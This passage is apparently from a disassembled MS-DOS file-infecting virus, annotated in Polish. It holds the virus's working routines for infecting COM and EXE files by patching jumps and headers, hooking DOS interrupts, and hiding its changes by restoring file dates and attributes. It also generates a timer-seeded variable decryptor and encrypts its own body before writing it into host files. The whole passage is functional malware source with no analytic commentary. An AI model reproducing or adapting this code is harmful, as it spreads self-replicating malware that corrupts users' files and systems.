  584.     CALL    L9551                ;988A E8 C4 FC
  585.     INC    WORD PTR CS:0E7H        ;988D 2E FF 06 E7 00
  586.     POPF                    ;9892 9D
  587.     JMP    DWORD PTR    CS:0DBH        ;9893 2E FF 2E DB 00
  588.  
  589. L9898:    POPF                    ;9898 9D
  590.     IRET                    ;9899 CF
  591.  
  592. L989A:    MOV    AL,3                ;989A B0 03
  593.     IRET                    ;989C CF
  594.  
  595. L989D:    MOV    AH,40H    ;'@'            ;989D B4 40
  596.     JMP    SHORT    L98A3            ;989F EB 02
  597.  
  598. L98A1:    MOV    AH,3FH    ;'?'            ;98A1 B4 3F
  599.     CALL    L98BB                ;98A3 E8 15 00
  600.     JB    L98AA                ;98A6 72 02
  601.     SUB    AX,CX                ;98A8 2B C1
  602. L98AA:    RET_NEAR                ;98AA C3
  603.  
  604. L98AB:    XOR    CX,CX                ;98AB 33 C9
  605.     XOR    DX,DX                ;98AD 33 D2
  606.     MOV    AX,OFFSET L4202            ;98AF B8 02 42
  607.     JMP    SHORT    L98BB            ;98B2 EB 07
  608.  
  609. L98B4:    XOR    CX,CX                ;98B4 33 C9
  610.     XOR    DX,DX                ;98B6 33 D2
  611.     MOV    AX,OFFSET L4200            ;98B8 B8 00 42
  612.     MOV    BX,CS:L0861            ;98BB 2E 8B 1E 61 08
  613.     CLI                    ;98C0 FA
  614.     PUSHF                    ;98C1 9C
  615.     CALL    DWORD PTR    CS:L0863    ;98C2 2E FF 1E 63 08
  616.     RET_NEAR                ;98C7 C3
  617.  
  618. L98C8:    PUSH    BX                ;98C8 53
  619.     PUSH    CX                ;98C9 51
  620.     PUSH    SI                ;98CA 56
  621.     PUSH    DI                ;98CB 57
  622.     PUSH    ES                ;98CC 06
  623.     PUSH    DX                ;98CD 52
  624.     PUSH    DS                ;98CE 1E
  625.     PUSH    CS                ;98CF 0E
  626.     POP    DS                ;98D0 1F
  627.     MOV    AX,OFFSET L3300            ;98D1 B8 00 33
  628.     CALL    L98C0                ;98D4 E8 E9 FF
  629.     MOV    DS:0CCH,DL            ;98D7 88 16 CC 00
  630.     MOV    AX,OFFSET L3301            ;98DB B8 01 33
  631.     XOR    DX,DX                ;98DE 33 D2
  632.     CALL    L98C0                ;98E0 E8 DD FF
  633.     MOV    AX,OFFSET L3524    ;'5$'        ;98E3 B8 24 35
  634.     CALL    L98C0                ;98E6 E8 D7 FF
  635.     MOV    DS:0DFH,BX            ;98E9 89 1E DF 00
  636.     MOV    DS:0E1H,ES            ;98ED 8C 06 E1 00
  637.     MOV    AX,OFFSET L2524    ;'%$'        ;98F1 B8 24 25
  638.     MOV    DX,OFFSET L04E5            ;98F4 BA E5 04
  639.     CALL    L98C0                ;98F7 E8 C6 FF
  640.     POP    DS                ;98FA 1F
  641.     POP    DX                ;98FB 5A
  642.     PUSH    DX                ;98FC 52
  643.     PUSH    DS                ;98FD 1E
  644.     MOV    AX,OFFSET L4300            ;98FE B8 00 43
  645.     CALL    L98C0                ;9901 E8 BC FF
  646.     MOV    CS:0CDH,CX            ;9904 2E 89 0E CD 00
  647.     MOV    AX,OFFSET L4301            ;9909 B8 01 43
  648.     XOR    CX,CX                ;990C 33 C9
  649.     CALL    L98C0                ;990E E8 AF FF
  650.     JB    L9990                ;9911 72 7D
  651.     MOV    AX,OFFSET L3D02            ;9913 B8 02 3D
  652.     CALL    L98C0                ;9916 E8 A7 FF
  653.     JB    L9985                ;9919 72 6A
  654.     PUSH    CS                ;991B 0E
  655.     POP    DS                ;991C 1F
  656.     MOV    L0861,AX            ;991D A3 61 08
  657.     MOV    AX,OFFSET L5700            ;9920 B8 00 57
  658.     CALL    L98BB                ;9923 E8 95 FF
  659.     JB    L996E                ;9926 72 46
  660.     MOV    DS:0CFH,DX            ;9928 89 16 CF 00
  661.     MOV    DS:0D1H,CX            ;992C 89 0E D1 00
  662.     MOV    DX,OFFSET LFFB8            ;9930 BA B8 FF
  663.     MOV    CX,0FFFF            ;9933 B9 FF FF
  664.     CALL    L98AF                ;9936 E8 76 FF
  665.     JB    L996E                ;9939 72 33
  666.     MOV    DX,OFFSET L0869            ;993B BA 69 08
  667.     MOV    CX,2                ;993E B9 02 00
  668.     CALL    L98A1                ;9941 E8 5D FF
  669.     JB    L996E                ;9944 72 28
  670.     CMP    WORD PTR L0869,OFFSET LBB0E    ;9946 81 3E 69 08 0E BB
  671.     JZ    L996E                ;994C 74 20
  672.     CALL    L98B4                ;994E E8 63 FF
  673.     JB    L996E                ;9951 72 1B
  674.     MOV    DX,OFFSET L0869            ;9953 BA 69 08
  675.     MOV    CX,1CH                ;9956 B9 1C 00
  676.     CALL    L98A1                ;9959 E8 45 FF
  677.     JB    L996E                ;995C 72 10
  678.     CMP    WORD PTR L0869,OFFSET L5A4D    ;'ZM'    
  679.                         ;995E 81 3E 69 08 4D 5A
  680.     JZ    L996B                ;9964 74 05
  681.     CALL    L99AE                ;9966 E8 45 00
  682.     JMP    SHORT    L996E            ;9969 EB 03
  683.  
  684.     CALL    L9A0E                ;996B E8 A0 00
  685.     MOV    AX,OFFSET L5701            ;996E B8 01 57
  686.     MOV    DX,DS:0CFH            ;9971 8B 16 CF 00
  687.     MOV    CX,DS:0D1H            ;9975 8B 0E D1 00
  688.     CALL    L98BB                ;9979 E8 3F FF
  689.     MOV    AH,3EH    ;'>'            ;997C B4 3E
  690.     CALL    L98BB                ;997E E8 3A FF
  691.     POP    DS                ;9981 1F
  692.     POP    DX                ;9982 5A
  693.     PUSH    DX                ;9983 52
  694.     PUSH    DS                ;9984 1E
  695.     MOV    AX,OFFSET L4301            ;9985 B8 01 43
  696.     MOV    CX,CS:0CDH            ;9988 2E 8B 0E CD 00
  697.     CALL    L98C0                ;998D E8 30 FF
  698.     MOV    AX,OFFSET L2524    ;'%$'        ;9990 B8 24 25
  699.     LDS    DX,DWORD PTR CS:0DFH        ;9993 2E C5 16 DF 00
  700.     CALL    L98C0                ;9998 E8 25 FF
  701.     MOV    AX,OFFSET L3301            ;999B B8 01 33
  702.     MOV    DL,CS:0CCH            ;999E 2E 8A 16 CC 00
  703.     CALL    L98C0                ;99A3 E8 1A FF
  704.     POP    DS                ;99A6 1F
  705.     POP    DX                ;99A7 5A
  706.     POP    ES                ;99A8 07
  707.     POP    DI                ;99A9 5F
  708.     POP    SI                ;99AA 5E
  709.     POP    CX                ;99AB 59
  710.     POP    BX                ;99AC 5B
  711.     RET_NEAR                ;99AD C3
  712.  
  713.     CALL    L98AB                ;99AE E8 FA FE
  714.     JB    L9A0D                ;99B1 72 5A
  715.     OR    DX,DX                ;99B3 0B D2
  716.     JNZ    L9A0D                ;99B5 75 56
  717.     CMP    AX,OFFSET LF646            ;99B7 3D 46 F6
  718.     JNB    L9A0D                ;99BA 73 51
  719.     MOV    SI,AX                ;99BC 8B F0
  720.     MOV    BYTE PTR DS:0BEH,0        ;99BE C6 06 BE 00 00
  721.     MOV    WORD PTR DS:0C2H,OFFSET L0100    ;99C3 C7 06 C2 00 00 01
  722.     MOV    WORD PTR DS:0C4H,0        ;99C9 C7 06 C4 00 00 00
  723.     MOV    WORD PTR DS:0C6H,0        ;99CF C7 06 C6 00 00 00
  724.     MOV    AX,L0869            ;99D5 A1 69 08
  725.     MOV    DS:0BFH,AX            ;99D8 A3 BF 00
  726.     MOV    AL,L086B            ;99DB A0 6B 08
  727.     MOV    DS:0C1H,AL            ;99DE A2 C1 00
  728.     INC    WORD PTR L0867            ;99E1 FF 06 67 08
  729.     PUSH    SI                ;99E5 56
  730.     MOV    BX,SI                ;99E6 8B DE
  731.     ADD    BX,OFFSET L0100            ;99E8 81 C3 00 01
  732.     CALL    L9AD2                ;99EC E8 E3 00
  733.     POP    SI                ;99EF 5E
  734.     JB    L9A0D                ;99F0 72 1B
  735.     CALL    L98B4                ;99F2 E8 BF FE
  736.     JB    L9A0D                ;99F5 72 16
  737.     MOV    BYTE PTR L0869,0E9H        ;99F7 C6 06 69 08 E9
  738.     ADD    SI,OFFSET L081E            ;99FC 81 C6 1E 08
  739.     MOV    L086A,SI            ;9A00 89 36 6A 08
  740.     MOV    DX,OFFSET L0869            ;9A04 BA 69 08
  741.     MOV    CX,3                ;9A07 B9 03 00
  742.     CALL    L989D                ;9A0A E8 90 FE
  743.     RET_NEAR                ;9A0D C3
  744.  
  745.     CALL    L98AB                ;9A0E E8 9A FE
  746.     JB    L9A0D                ;9A11 72 FA
  747.     MOV    SI,AX                ;9A13 8B F0
  748.     MOV    DI,DX                ;9A15 8B FA
  749.     MOV    BX,AX                ;9A17 8B D8
  750.     MOV    CX,DX                ;9A19 8B CA
  751.     MOV    AX,L086D            ;9A1B A1 6D 08
  752.     MUL    WORD PTR DS:0E5H        ;9A1E F7 26 E5 00
  753.     SUB    AX,BX                ;9A22 2B C3
  754.     SBB    DX,CX                ;9A24 1B D1
  755.     JB    L9A0D                ;9A26 72 E5
  756.     MOV    AX,L0877            ;9A28 A1 77 08
  757.     MUL    WORD PTR DS:0E3H        ;9A2B F7 26 E3 00
  758.     ADD    AX,L0879            ;9A2F 03 06 79 08
  759.     MOV    CX,DX                ;9A33 8B CA
  760.     MOV    BX,AX                ;9A35 8B D8
  761.     MOV    AX,L0871            ;9A37 A1 71 08
  762.     MUL    WORD PTR DS:0E3H        ;9A3A F7 26 E3 00
  763.     SUB    SI,AX                ;9A3E 2B F0
  764.     SBB    DI,DX                ;9A40 1B FA
  765.     MOV    AX,L0877            ;9A42 A1 77 08
  766.     ADD    AX,10H                ;9A45 05 10 00
  767.     MOV    DS:0C6H,AX            ;9A48 A3 C6 00
  768.     MOV    AX,BX                ;9A4B 8B C3
  769.     MOV    DX,CX                ;9A4D 8B D1
  770.     SUB    BX,SI                ;9A4F 2B DE
  771.     SBB    CX,DI                ;9A51 1B CF
  772.     JB    L9A6B                ;9A53 72 16
  773.     PUSH    SI                ;9A55 56
  774.     PUSH    DI                ;9A56 57
  775.     ADD    SI,50H    ;'P'            ;9A57 83 C6 50
  776.     ADC    DI,0                ;9A5A 83 D7 00
  777.     SUB    AX,SI                ;9A5D 2B C6
  778.     SBB    DX,DI                ;9A5F 1B D7
  779.     POP    DI                ;9A61 5F
  780.     POP    SI                ;9A62 5E
  781.     JB    L9AD1                ;9A63 72 6C
  782.     ADD    WORD PTR L0877,87H        ;9A65 81 06 77 08 87 00
  783.     MOV    BYTE PTR DS:0BEH,1        ;9A6B C6 06 BE 00 01
  784.     MOV    AX,L087F            ;9A70 A1 7F 08
  785.     ADD    AX,10H                ;9A73 05 10 00
  786.     MOV    DS:0C4H,AX            ;9A76 A3 C4 00
  787.     MOV    AX,L087D            ;9A79 A1 7D 08
  788.     MOV    DS:0C2H,AX            ;9A7C A3 C2 00
  789.     INC    WORD PTR L0867            ;9A7F FF 06 67 08
  790.     CALL    L98AB                ;9A83 E8 25 FE
  791.     JB    L9AD1                ;9A86 72 49
  792.     MOV    BX,AX                ;9A88 8B D8
  793.     MOV    CX,DX                ;9A8A 8B CA
  794.     ADD    BX,OFFSET L0869            ;9A8C 81 C3 69 08
  795.     ADC    CX,0                ;9A90 83 D1 00
  796.     MOV    DX,DI                ;9A93 8B D7
  797.     MOV    AX,SI                ;9A95 8B C6
  798.     DIV    WORD PTR DS:0E3H        ;9A97 F7 36 E3 00
  799.     MOV    L087F,AX            ;9A9B A3 7F 08
  800.     PUSH    BX                ;9A9E 53
  801.     PUSH    CX                ;9A9F 51
  802.     PUSH    DX                ;9AA0 52
  803.     MOV    BX,DX                ;9AA1 8B DA
  804.     CALL    L9AD2                ;9AA3 E8 2C 00
  805.     POP    DX                ;9AA6 5A
  806.     POP    CX                ;9AA7 59
  807.     POP    BX                ;9AA8 5B
  808.     JB    L9AD1                ;9AA9 72 26
  809.     ADD    DX,OFFSET L0821            ;9AAB 81 C2 21 08
  810.     MOV    L087D,DX            ;9AAF 89 16 7D 08
  811.     MOV    AX,BX                ;9AB3 8B C3
  812.     MOV    DX,CX                ;9AB5 8B D1
  813.     DIV    WORD PTR DS:0E5H        ;9AB7 F7 36 E5 00
  814.     INC    AX                ;9ABB 40
  815.     MOV    L086D,AX            ;9ABC A3 6D 08
  816.     MOV    L086B,DX            ;9ABF 89 16 6B 08
  817.     CALL    L98B4                ;9AC3 E8 EE FD
  818.     JB    L9AD1                ;9AC6 72 09
  819.     MOV    CX,1CH                ;9AC8 B9 1C 00
  820.     MOV    DX,OFFSET L0869            ;9ACB BA 69 08
  821.     CALL    L989D                ;9ACE E8 CC FD
  822.     RET_NEAR                ;9AD1 C3
  823.  
  824. L9AD2:    XOR    AH,AH        ;read system timer time counter    ;9AD2 32 E4
  825.     INT    1AH                ;9AD4 CD 1A
  826.     MOV    AX,DX                ;9AD6 8B C2
  827.     ADD    AX,CX                ;9AD8 03 C1
  828.     PUSH    DS                ;9ADA 1E
  829.     POP    ES                ;9ADB 07
  830.     MOV    DI,OFFSET L0821            ;9ADC BF 21 08
  831.     MOV    SI,DI                ;9ADF 8B F7
  832.     MOV    CX,20H    ;' '            ;9AE1 B9 20 00
  833.     CLD                    ;9AE4 FC
  834.     REPZ    STOSW                ;9AE5 F3 AB
  835.     CLI                    ;9AE7 FA
  836.     MOV    BYTE PTR [SI],0EH        ;9AE8 C6 04 0E
  837.     INC    SI                ;9AEB 46
  838.     MOV    BYTE PTR [SI],0BBH        ;9AEC C6 04 BB
  839.     INC    SI                ;9AEF 46
  840.     SUB    BX,DS:0E7H            ;9AF0 2B 1E E7 00
  841.     MOV    [SI],BX                ;9AF4 89 1C
  842.     INC    SI                ;9AF6 46
  843.     INC    SI                ;9AF7 46
  844.     MOV    BYTE PTR [SI],1FH        ;9AF8 C6 04 1F
  845.     INC    SI                ;9AFB 46
  846.     MOV    BYTE PTR [SI],0B9H        ;9AFC C6 04 B9
  847.     INC    SI                ;9AFF 46
  848.     MOV    AX,OFFSET L0821            ;9B00 B8 21 08
  849.     SUB    AX,DX                ;9B03 2B C2
  850.     MOV    [SI],AX                ;9B05 89 04
  851.     INC    SI                ;9B07 46
  852.     INC    SI                ;9B08 46
  853.     MOV    AL,0B2H                ;9B09 B0 B2
  854.     MOV    AH,DS:0E7H            ;9B0B 8A 26 E7 00
  855.     XOR    AH,DH                ;9B0F 32 E6
  856.     MOV    [SI],AX                ;9B11 89 04
  857.     INC    SI                ;9B13 46
  858.     INC    SI                ;9B14 46
  859.     MOV    WORD PTR [SI],OFFSET LC181    ;9B15 C7 04 81 C1
  860.     INC    SI                ;9B19 46
  861.     INC    SI                ;9B1A 46
  862.     MOV    [SI],DX                ;9B1B 89 14
  863.     INC    SI                ;9B1D 46
  864.     INC    SI                ;9B1E 46
  865.     DB    83H,0E2H    ??        ;9B1F 83 E2
  866.     DB    0FH    ??            ;9B21 0F
  867.     MOV    BYTE PTR [SI],0EBH        ;9B22 C6 04 EB
  868.     INC    SI                ;9B25 46
  869.     MOV    [SI],DL                ;9B26 88 14
  870.     INC    SI                ;9B28 46
  871.     ADD    SI,DX                ;9B29 03 F2
  872.     MOV    BX,SI                ;9B2B 8B DE
  873.     MOV    WORD PTR [SI],OFFSET L9700    ;9B2D C7 04 00 97
  874.     INC    SI                ;9B31 46
  875.     INC    SI                ;9B32 46
  876.     MOV    AX,DS:0E7H            ;9B33 A1 E7 00
  877.     MOV    [SI],AX                ;9B36 89 04
  878.     INC    SI                ;9B38 46
  879.     INC    SI                ;9B39 46
  880.     MOV    BYTE PTR [SI],43H    ;'C'    ;9B3A C6 04 43
  881.     INC    SI                ;9B3D 46
  882.     MOV    BYTE PTR [SI],0EBH        ;9B3E C6 04 EB
  883.     INC    SI                ;9B41 46
  884.     MOV    DX,L0867            ;9B42 8B 16 67 08
  885.     DB    83H,0E2H    ??        ;9B46 83 E2
  886.     DB    0FH    ??            ;9B48 0F
  887.     MOV    [SI],DL                ;9B49 88 14
  888.     INC    SI                ;9B4B 46
  889.     ADD    SI,DX                ;9B4C 03 F2
  890.     MOV    BYTE PTR [SI],0E2H        ;9B4E C6 04 E2
  891.     SUB    BX,SI                ;9B51 2B DE
  892.     SUB    BX,2                ;9B53 83 EB 02
  893.     INC    SI                ;9B56 46
  894.     MOV    [SI],BL                ;9B57 88 1C
  895.     INC    SI                ;9B59 46
  896.     MOV    BYTE PTR [SI],0E9H        ;9B5A C6 04 E9
  897.     MOV    DI,OFFSET L0110            ;9B5D BF 10 01
  898.     SUB    DI,SI                ;9B60 2B FE
  899.     SUB    DI,3                ;9B62 83 EF 03
  900.     INC    SI                ;9B65 46
  901.     MOV    [SI],DI                ;9B66 89 3C
  902.     STI                    ;9B68 FB
  903.     MOV    SI,OFFSET L07EA            ;9B69 BE EA 07
  904.     MOV    DI,OFFSET L0885            ;9B6C BF 85 08
  905.     PUSH    DI                ;9B6F 57
  906.     MOV    CX,37H    ;'7'            ;9B70 B9 37 00
  907.     CLD                    ;9B73 FC
  908.     REPZ    MOVSB                ;9B74 F3 A4
  909.     MOV    AX,OFFSET L351C            ;9B76 B8 1C 35
  910.     CALL    L98C0                ;9B79 E8 44 FD
  911.     MOV    DS:0D7H,BX            ;9B7C 89 1E D7 00
  912.     MOV    DS:0D9H,ES            ;9B80 8C 06 D9 00
  913.     MOV    AX,OFFSET L251C            ;9B84 B8 1C 25
  914.     MOV    DX,OFFSET L08BB            ;9B87 BA BB 08
  915.     CALL    L98C0                ;9B8A E8 33 FD
  916.     POP    AX                ;9B8D 58
  917.     CALL    AX                ;9B8E FF D0
  918.     PUSHF                    ;9B90 9C
  919.     PUSH    DS                ;9B91 1E
  920.     MOV    AX,OFFSET L251C            ;9B92 B8 1C 25
  921.     LDS    DX,DWORD PTR DS:0D7H        ;9B95 C5 16 D7 00
  922.     CALL    L98C0                ;9B99 E8 24 FD
  923.     POP    DS                ;9B9C 1F
  924.     POPF                    ;9B9D 9D
  925.     RET_NEAR                ;9B9E C3
  926.  
  927. L9B9F:    MOV    SI,0                ;9B9F BE 00 00
  928.     MOV    CX,OFFSET L0821            ;9BA2 B9 21 08
  929.     MOV    DL,L082A            ;9BA5 8A 16 2A 08
  930. L9BA9:    SUB    [SI],DL                ;9BA9 28 14
  931.     INC    SI                ;9BAB 46
  932.     LOOP    L9BA9                ;9BAC E2 FB
  933.     MOV    AH,40H        ;Write handle        ;9BAE B4 40
  934.     MOV    BX,L0861    ;file handle        ;9BB0 8B 1E 61 08
  935.     MOV    DX,0        ;bufer offset        ;9BB4 BA 00 00
  936.     MOV    CX,0869h    ;byte count        ;9BB7 B9 69 08
  937.     PUSHF                    ;9BBA 9C
  938.     CALL    DWORD PTR    L0863        ;9BBB FF 1E 63 08
  939.     JB    L9BC3                ;9BBF 72 02
  940.     SUB    AX,CX                ;9BC1 2B C1
  941.     PUSHF                    ;9BC3 9C
  942.     MOV    SI,0                ;9BC4 BE 00 00
  943.     MOV    CX,OFFSET L0821            ;9BC7 B9 21 08
  944.     MOV    DL,L082A            ;9BCA 8A 16 2A 08
  945.     ADD    [SI],DL                ;9BCE 00 14
  946.     INC    SI                ;9BD0 46
  947.     LOOP    L9BCE                ;9BD1 E2 FB
  948.     POPF                    ;9BD3 9D
  949.     RET_NEAR                ;9BD4 C3
  950.  
  951. ;------------------------------------------------
  952. ;    New int 1Ch (user timer tick) handling routine
  953. ;------------------------------------------------
  954.     IRET                    ;9BD5 CF
  955. ;<------koniec czesci zakodowanej----------------
  956.  
  957.  
  958. ;<------ Entry point ----------------------------
  959. L9BD6:    PUSH    CS                        ;9BD6 0E
  960.     MOV    BX,0C771h    ;skladnik adresu poczatku wirusa;9BD7 BB 71 C7
  961.     POP    DS                        ;9BDA 1F
  962.     MOV    CX,13A5h    ;skladnik dlugosci wirusa    ;9BDB B9 A5 13
  963.     MOV    DL,0B0H        ;klucz kodowania        ;9BDE B2 B0
  964.     ADD    CX,0F47Ch    ;coded area length = 821h    ;9BE0 81 C1 7C F4
  965.     JMP    SHORT    L9BF2                    ;9BE4 EB 0C
  966.  
  967.     MOV    SI,SP                ;9BE6 8B F4
  968.     MOV    SI,SP                ;9BE8 8B F4
  969.     MOV    SI,SP                ;9BEA 8B F4
  970.     MOV    SI,SP                ;9BEC 8B F4
  971.     MOV    SI,SP                ;9BEE 8B F4
  972.     MOV    SI,SP                ;9BF0 8B F4
  973.  
  974. L9BF2:    ADD    [BX+0CC44h],DL    ;93B5h -> 9BD6            ;9BF2 00 97 44 CC
  975.     INC    BX                        ;9BF6 43
  976.     JMP    SHORT    L9BFC                    ;9BF7 EB 03
  977.  
  978.     HLT                    ;9BF9 F4
  979.     MOV    SI,SP                ;9BFA 8B F4
  980.  
  981.     LOOP    L9BF2                        ;9BFC E2 F4
  982.     JMP    L94C5        ;-> jump into virus code    ;9BFE E9 C4 F8
  983.  
  984.     HLT                    ;9C01 F4
  985.     MOV    SI,SP                ;9C02 8B F4
  986.     MOV    SI,SP                ;9C04 8B F4
  987.     MOV    SI,SP                ;9C06 8B F4
  988.     MOV    SI,SP                ;9C08 8B F4
  989.     MOV    SI,SP                ;9C0A 8B F4
  990.     MOV    SI,SP                ;9C0C 8B F4
  991.     MOV    SI,SP                ;9C0E 8B F4
  992.     MOV    SI,SP                ;9C10 8B F4
  993.     MOV    SI,SP                ;9C12 8B F4
  994.     MOV    SI,SP                ;9C14 8B F4
  995.     ADD    AX,OFFSET L1600            ;9C16 05 00
  996.     
  997. V0863    dw    16h                ;9C18 16 17
  998. V0865    dw    02C1h                ;9C1A C1 02
  999. V0867    dw    0013h                ;9C1C 13 00
  1000. V0869    label    byte        ;bufor na boot sector
  1001.  
  1002. S0000    ENDS
  1003.  
  1004.     END    L0100
  1005.